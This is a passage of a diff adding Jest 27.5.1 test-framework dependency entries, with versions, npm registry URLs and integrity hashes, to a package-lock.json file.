+    "node_modules/jest-haste-map/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-haste-map/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-jasmine2": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-jasmine2/-/jest-jasmine2-27.5.1.tgz",
+      "integrity": "sha512-jtq7VVyG8SqAorDpApwiJJImd0V2wv1xzdheGHRGyuT7gZm6gG47QEskOlzsN1PG/6WNaCo5pmwMHDf3AkG2pQ==",
+      "dependencies": {
+        "@jest/environment": "^27.5.1",
+        "@jest/source-map": "^27.5.1",
+        "@jest/test-result": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "@types/node": "*",
+        "chalk": "^4.0.0",
+        "co": "^4.6.0",
+        "expect": "^27.5.1",
+        "is-generator-fn": "^2.0.0",
+        "jest-each": "^27.5.1",
+        "jest-matcher-utils": "^27.5.1",
+        "jest-message-util": "^27.5.1",
+        "jest-runtime": "^27.5.1",
+        "jest-snapshot": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "pretty-format": "^27.5.1",
+        "throat": "^6.0.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-jasmine2/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-jasmine2/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-jasmine2/node_modules/ansi-styles": {
+      "version": "5.2.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
+      "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-jasmine2/node_modules/pretty-format": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz",
+      "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==",
+      "dependencies": {
+        "ansi-regex": "^5.0.1",
+        "ansi-styles": "^5.0.0",
+        "react-is": "^17.0.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-jasmine2/node_modules/react-is": {
+      "version": "17.0.2",
+      "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz",
+      "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w=="
+    },
+    "node_modules/jest-leak-detector": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-leak-detector/-/jest-leak-detector-27.5.1.tgz",
+      "integrity": "sha512-POXfWAMvfU6WMUXftV4HolnJfnPOGEu10fscNCA76KBpRRhcMN2c8d3iT2pxQS3HLbA+5X4sOUPzYO2NUyIlHQ==",
+      "dependencies": {
+        "jest-get-type": "^27.5.1",
+        "pretty-format": "^27.5.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-leak-detector/node_modules/ansi-styles": {
+      "version": "5.2.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
+      "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-leak-detector/node_modules/jest-get-type": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-27.5.1.tgz",
+      "integrity": "sha512-2KY95ksYSaK7DMBWQn6dQz3kqAf3BB64y2udeG+hv4KfSOb9qwcYQstTJc1KCbsix+wLZWZYN8t7nwX3GOBLRw==",
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-leak-detector/node_modules/pretty-format": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz",
+      "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==",
+      "dependencies": {
+        "ansi-regex": "^5.0.1",
+        "ansi-styles": "^5.0.0",
+        "react-is": "^17.0.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-leak-detector/node_modules/react-is": {
+      "version": "17.0.2",
+      "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz",
+      "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w=="
+    },
+    "node_modules/jest-matcher-utils": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-27.5.1.tgz",
+      "integrity": "sha512-z2uTx/T6LBaCoNWNFWwChLBKYxTMcGBRjAt+2SbP929/Fflb9aa5LGma654Rz8z9HLxsrUaYzxE9T/EFIL/PAw==",
+      "dependencies": {
+        "chalk": "^4.0.0",
+        "jest-diff": "^27.5.1",
+        "jest-get-type": "^27.5.1",
+        "pretty-format": "^27.5.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-matcher-utils/node_modules/ansi-styles": {
+      "version": "5.2.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
+      "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-matcher-utils/node_modules/diff-sequences": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-27.5.1.tgz",
+      "integrity": "sha512-k1gCAXAsNgLwEL+Y8Wvl+M6oEFj5bgazfZULpS5CneoPPXRaCCW7dm+q21Ky2VEE5X+VeRDBVg1Pcvvsr4TtNQ==",
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-matcher-utils/node_modules/jest-diff": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-27.5.1.tgz",
+      "integrity": "sha512-m0NvkX55LDt9T4mctTEgnZk3fmEg3NRYutvMPWM/0iPnkFj2wIeF45O1718cMSOFO1vINkqmxqD8vE37uTEbqw==",
+      "dependencies": {
+        "chalk": "^4.0.0",
+        "diff-sequences": "^27.5.1",
+        "jest-get-type": "^27.5.1",
+        "pretty-format": "^27.5.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-matcher-utils/node_modules/jest-get-type": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-27.5.1.tgz",
+      "integrity": "sha512-2KY95ksYSaK7DMBWQn6dQz3kqAf3BB64y2udeG+hv4KfSOb9qwcYQstTJc1KCbsix+wLZWZYN8t7nwX3GOBLRw==",
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-matcher-utils/node_modules/pretty-format": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz",
+      "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==",
+      "dependencies": {
+        "ansi-regex": "^5.0.1",
+        "ansi-styles": "^5.0.0",
+        "react-is": "^17.0.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-matcher-utils/node_modules/react-is": {
+      "version": "17.0.2",
+      "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz",
+      "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w=="
+    },
+    "node_modules/jest-message-util": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-27.5.1.tgz",
+      "integrity": "sha512-rMyFe1+jnyAAf+NHwTclDz0eAaLkVDdKVHHBFWsBWHnnh5YeJMNWWsv7AbFYXfK3oTqvL7VTWkhNLu1jX24D+g==",
+      "dependencies": {
+        "@babel/code-frame": "^7.12.13",
+        "@jest/types": "^27.5.1",
+        "@types/stack-utils": "^2.0.0",
+        "chalk": "^4.0.0",
+        "graceful-fs": "^4.2.9",
+        "micromatch": "^4.0.4",
+        "pretty-format": "^27.5.1",
+        "slash": "^3.0.0",
+        "stack-utils": "^2.0.3"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-message-util/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-message-util/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-message-util/node_modules/ansi-styles": {
+      "version": "5.2.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
+      "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-message-util/node_modules/pretty-format": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz",
+      "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==",
+      "dependencies": {
+        "ansi-regex": "^5.0.1",
+        "ansi-styles": "^5.0.0",
+        "react-is": "^17.0.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-message-util/node_modules/react-is": {
+      "version": "17.0.2",
+      "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz",
+      "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w=="
+    },
+    "node_modules/jest-mock": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-27.5.1.tgz",
+      "integrity": "sha512-K4jKbY1d4ENhbrG2zuPWaQBvDly+iZ2yAW+T1fATN78hc0sInwn7wZB8XtlNnvHug5RMwV897Xm4LqmPM4e2Og==",
+      "dependencies": {
+        "@jest/types": "^27.5.1",
+        "@types/node": "*"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-mock/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-mock/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-pnp-resolver": {
+      "version": "1.2.2",
+      "resolved": "https://registry.npmjs.org/jest-pnp-resolver/-/jest-pnp-resolver-1.2.2.tgz",
+      "integrity": "sha512-olV41bKSMm8BdnuMsewT4jqlZ8+3TCARAXjZGT9jcoSnrfUnRCqnMoF9XEeoWjbzObpqF9dRhHQj0Xb9QdF6/w==",
+      "engines": {
+        "node": ">=6"
+      },
+      "peerDependencies": {
+        "jest-resolve": "*"
+      },
+      "peerDependenciesMeta": {
+        "jest-resolve": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/jest-regex-util": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-27.5.1.tgz",
+      "integrity": "sha512-4bfKq2zie+x16okqDXjXn9ql2B0dScQu+vcwe4TvFVhkVyuWLqpZrZtXxLLWoXYgn0E87I6r6GRYHF7wFZBUvg==",
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-resolve": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-resolve/-/jest-resolve-27.5.1.tgz",
+      "integrity": "sha512-FFDy8/9E6CV83IMbDpcjOhumAQPDyETnU2KZ1O98DwTnz8AOBsW/Xv3GySr1mOZdItLR+zDZ7I/UdTFbgSOVCw==",
+      "dependencies": {
+        "@jest/types": "^27.5.1",
+        "chalk": "^4.0.0",
+        "graceful-fs": "^4.2.9",
+        "jest-haste-map": "^27.5.1",
+        "jest-pnp-resolver": "^1.2.2",
+        "jest-util": "^27.5.1",
+        "jest-validate": "^27.5.1",
+        "resolve": "^1.20.0",
+        "resolve.exports": "^1.1.0",
+        "slash": "^3.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-resolve-dependencies": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-resolve-dependencies/-/jest-resolve-dependencies-27.5.1.tgz",
+      "integrity": "sha512-QQOOdY4PE39iawDn5rzbIePNigfe5B9Z91GDD1ae/xNDlu9kaat8QQ5EKnNmVWPV54hUdxCVwwj6YMgR2O7IOg==",
+      "dependencies": {
+        "@jest/types": "^27.5.1",
+        "jest-regex-util": "^27.5.1",
+        "jest-snapshot": "^27.5.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-resolve-dependencies/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-resolve-dependencies/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-resolve/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-resolve/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-runner": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-runner/-/jest-runner-27.5.1.tgz",
+      "integrity": "sha512-g4NPsM4mFCOwFKXO4p/H/kWGdJp9V8kURY2lX8Me2drgXqG7rrZAx5kv+5H7wtt/cdFIjhqYx1HrlqWHaOvDaQ==",
+      "dependencies": {
+        "@jest/console": "^27.5.1",
+        "@jest/environment": "^27.5.1",
+        "@jest/test-result": "^27.5.1",
+        "@jest/transform": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "@types/node": "*",
+        "chalk": "^4.0.0",
+        "emittery": "^0.8.1",
+        "graceful-fs": "^4.2.9",
+        "jest-docblock": "^27.5.1",
+        "jest-environment-jsdom": "^27.5.1",
+        "jest-environment-node": "^27.5.1",
+        "jest-haste-map": "^27.5.1",
+        "jest-leak-detector": "^27.5.1",
+        "jest-message-util": "^27.5.1",
+        "jest-resolve": "^27.5.1",
+        "jest-runtime": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "jest-worker": "^27.5.1",
+        "source-map-support": "^0.5.6",
+        "throat": "^6.0.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-runner/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-runner/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-runtime": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-runtime/-/jest-runtime-27.5.1.tgz",
+      "integrity": "sha512-o7gxw3Gf+H2IGt8fv0RiyE1+r83FJBRruoA+FXrlHw6xEyBsU8ugA6IPfTdVyA0w8HClpbK+DGJxH59UrNMx8A==",
+      "dependencies": {
+        "@jest/environment": "^27.5.1",
+        "@jest/fake-timers": "^27.5.1",
+        "@jest/globals": "^27.5.1",
+        "@jest/source-map": "^27.5.1",
+        "@jest/test-result": "^27.5.1",
+        "@jest/transform": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "chalk": "^4.0.0",
+        "cjs-module-lexer": "^1.0.0",
+        "collect-v8-coverage": "^1.0.0",
+        "execa": "^5.0.0",
+        "glob": "^7.1.3",
+        "graceful-fs": "^4.2.9",
+        "jest-haste-map": "^27.5.1",
+        "jest-message-util": "^27.5.1",
+        "jest-mock": "^27.5.1",
+        "jest-regex-util": "^27.5.1",
+        "jest-resolve": "^27.5.1",
+        "jest-snapshot": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "slash": "^3.0.0",
+        "strip-bom": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-runtime/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-runtime/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-runtime/node_modules/strip-bom": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-4.0.0.tgz",
+      "integrity": "sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-serializer": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-serializer/-/jest-serializer-27.5.1.tgz",
+      "integrity": "sha512-jZCyo6iIxO1aqUxpuBlwTDMkzOAJS4a3eYz3YzgxxVQFwLeSA7Jfq5cbqCY+JLvTDrWirgusI/0KwxKMgrdf7w==",
+      "dependencies": {
+        "@types/node": "*",
+        "graceful-fs": "^4.2.9"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-snapshot": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-snapshot/-/jest-snapshot-27.5.1.tgz",
+      "integrity": "sha512-yYykXI5a0I31xX67mgeLw1DZ0bJB+gpq5IpSuCAoyDi0+BhgU/RIrL+RTzDmkNTchvDFWKP8lp+w/42Z3us5sA==",
+      "dependencies": {
+        "@babel/core": "^7.7.2",
+        "@babel/generator": "^7.7.2",
+        "@babel/plugin-syntax-typescript": "^7.7.2",
+        "@babel/traverse": "^7.7.2",
+        "@babel/types": "^7.0.0",
+        "@jest/transform": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "@types/babel__traverse": "^7.0.4",
+        "@types/prettier": "^2.1.5",
+        "babel-preset-current-node-syntax": "^1.0.0",
+        "chalk": "^4.0.0",
+        "expect": "^27.5.1",
+        "graceful-fs": "^4.2.9",
+        "jest-diff": "^27.5.1",
+        "jest-get-type": "^27.5.1",
+        "jest-haste-map": "^27.5.1",
+        "jest-matcher-utils": "^27.5.1",
+        "jest-message-util": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "natural-compare": "^1.4.0",
+        "pretty-format": "^27.5.1",
+        "semver": "^7.3.2"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-snapshot/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-snapshot/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-snapshot/node_modules/ansi-styles": {
+      "version": "5.2.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
+      "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==",
+      "engines": {
